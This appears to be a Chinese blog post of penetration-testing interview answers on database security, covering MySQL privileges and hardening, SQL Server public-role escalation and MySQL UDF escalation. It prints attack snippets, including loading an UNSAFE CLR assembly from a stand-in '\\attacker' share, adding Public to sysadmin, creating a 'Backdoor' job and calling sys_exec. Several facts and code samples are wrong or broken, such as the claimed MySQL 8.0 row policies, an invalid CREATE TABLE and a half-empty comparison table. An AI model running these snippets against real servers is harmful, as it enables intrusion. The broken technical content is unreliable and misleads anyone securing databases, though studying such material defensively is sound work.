2025年常见渗透测试面试题- 数据库安全(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

数据库安全

一、MySQL表权限深度解析

二、MySQL安全加固十二策

三、SQL Server Public权限提权

四、数据库加固黄金法则(以MySQL为例)

五、MySQL认证体系全解

六、MySQL默认系统库解析

七、MySQL UDF提权深度剖析

总结性防御矩阵

数据库安全

mysql表权限里面,除了增删改查,文件读写,还有哪些权限?

mysql安全要如何做?

sqlserver public权限要如何提权

Windows、Linux、数据库的加固降权思路,任选其一

mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式?

mysql数据库默认有哪些库?说出库的名字

mysql UDF提权5.1以上版本和5.1以下有什么区别,以及需要哪些条件?
一、MySQL表权限深度解析
  1. 高级权限清单
    sqlSHOW PRIVILEGES; -- 查看完整权限列表 
    • PROCESS:查看所有线程执行状态,可获取敏感SQL语句
      风险案例:通过SHOW PROCESSLIST窃取其他用户查询内容
    • SUPER:绕过只读设置执行SET GLOBAL命令
      典型利用:SET GLOBAL general_log = 'ON'记录所有查询
    • REPLICATION CLIENT:监控主从复制拓扑
      安全影响:暴露数据库集群架构信息
    • EXECUTE:执行存储过程,可能触发提权链
      漏洞场景:调用包含危险函数的存储过程
    • CREATE USER:创建新用户并授权
      提权路径:创建高权限用户实现权限提升
  2. 权限继承机制
    sqlGRANT SELECT ON db1.* TO 'user1'@'%' WITH GRANT OPTION;
    • WITH GRANT OPTION允许权限二次分配
    • 级联回收需使用REVOKE ... CASCADE
  3. 元数据权限风险
    • INFORMATION_SCHEMA访问暴露表结构信息
      防御方案:限制SELECT_ACL权限
  4. 行级安全控制
    MySQL 8.0+支持行策略:
    sqlCREATE POLICY user_policy ON orders USING (user_id = CURRENT_USER());

二、MySQL安全加固十二策
  1. 认证安全

    sqlALTER USER 'root'@'localhost' IDENTIFIED WITH caching_sha2_password BY '新密码';
    • 禁用mysql_old_password插件
    • 设置密码复杂度策略:
      inivalidate_password.policy=STRONG validate_password.length=12 
  2. 网络层防护

    ini[mysqld] bind-address = 127.0.0.1 skip-networking # 彻底禁用远程连接 require_secure_transport = ON # 强制SSL 
  3. 日志审计配置

    sqlSET GLOBAL general_log = 'ON'; SET GLOBAL log_output = 'TABLE';
    • 使用Enterprise Audit插件实现细粒度审计
    • 日志异地存储防止篡改
  4. 文件系统隔离

    bashchown -R mysql:mysql /var/lib/mysql chmod 750 /var/lib/mysql 
  5. 漏洞防护

    • 修复CVE-2012-2122等认证绕过漏洞
    • 禁用LOAD DATA LOCAL INFILE防止文件窃取

三、SQL Server Public权限提权
  1. Public角色权限分析

    sqlSELECT * FROM sys.database_permissions WHERE grantee_principal_id = 0;
    • 默认具有VIEW DATABASE STATE等权限
  2. 存储过程滥用

    sqlEXEC sp_addsrvrolemember 'Public', 'sysadmin';
    • 利用sp_configure修改配置参数
  3. CLR程序集攻击

    sqlCREATE ASSEMBLY Exploit FROM '\\attacker\malware.dll' WITH PERMISSION_SET = UNSAFE;
  4. 服务账户劫持

    • 通过xp_cmdshell执行系统命令
      防御:禁用show advanced options
  5. 跨数据库攻击链

    sqlUSE msdb; EXEC dbo.sp_add_job @job_name = 'Backdoor';

四、数据库加固黄金法则(以MySQL为例)
  1. 权限最小化

    sqlCREATE USER 'app_user'@'192.168.1.%' IDENTIFIED BY '密码'; GRANT SELECT, INSERT ON app_db.* TO 'app_user';
  2. 加密体系构建

    sqlCREATE TABLE users ( id INT, data VARBINARY(500) AES_ENCRYPT('明文', '密钥') );
    • 启用TDE透明数据加密
  3. 补丁管理

    bash# Ubuntu示例 sudo apt-get install mysql-server=8.0.32-0ubuntu0.20.04.1 
  4. 入侵检测

    sqlSELECT * FROM mysql.general_log WHERE argument LIKE '%DROP TABLE%';
  5. 灾备方案

    bashmysqldump --single-transaction -R -q -B db1 | gzip > backup.sql.gz 

五、MySQL认证体系全解
  1. 密码存储机制

    sqlSELECT user, plugin, authentication_string FROM mysql.user; 
    • mysql_native_password:SHA1(SHA1(password))
    • caching_sha2_password:SHA256(SHA256(password))
  2. 哈希破解示例

    text*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 -> "password"
  3. 认证协议演进

    • MySQL 8.0默认采用caching_sha2_password
    • 旧客户端需使用--default-auth=mysql_native_password

六、MySQL默认系统库解析
数据库名称核心功能安全关注点
information_schema元数据存储(表结构、权限等)暴露数据库架构信息
mysql用户权限及系统变量配置存储用户密码哈希
performance_schema性能监控指标收集可能泄露查询模式
sys基于performance_schema的视图简化版监控数据访问

七、MySQL UDF提权深度剖析
  1. 版本差异对比

    条件/版本5.1以下5.1+
    插件目录任意可写目录严格限制为lib/plugin
    提权成功率依赖目录权限配置
    防御难度较难易通过目录权限控制防御
  2. 攻击链构造

    sqlCREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so'; SELECT sys_exec('id');
    • 需具备FILE权限写入共享库
    • 依赖gcc编译恶意UDF
  3. 现代防御策略

    ini[mysqld] secure_file_priv=/dev/null allow-suspicious-udfs=OFF 

总结性防御矩阵

mermaidgraph TD A[认证安全] --> B[权限最小化] B --> C[网络隔离] C --> D[加密传输] D --> E[漏洞修复] E --> F[入侵检测] F --> G[灾备恢复]

以上体系覆盖数据库全生命周期防护,建议结合OWASP ASVS标准实施验证,并通过自动化工具(如Vault管理密钥)实现持续安全运营。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值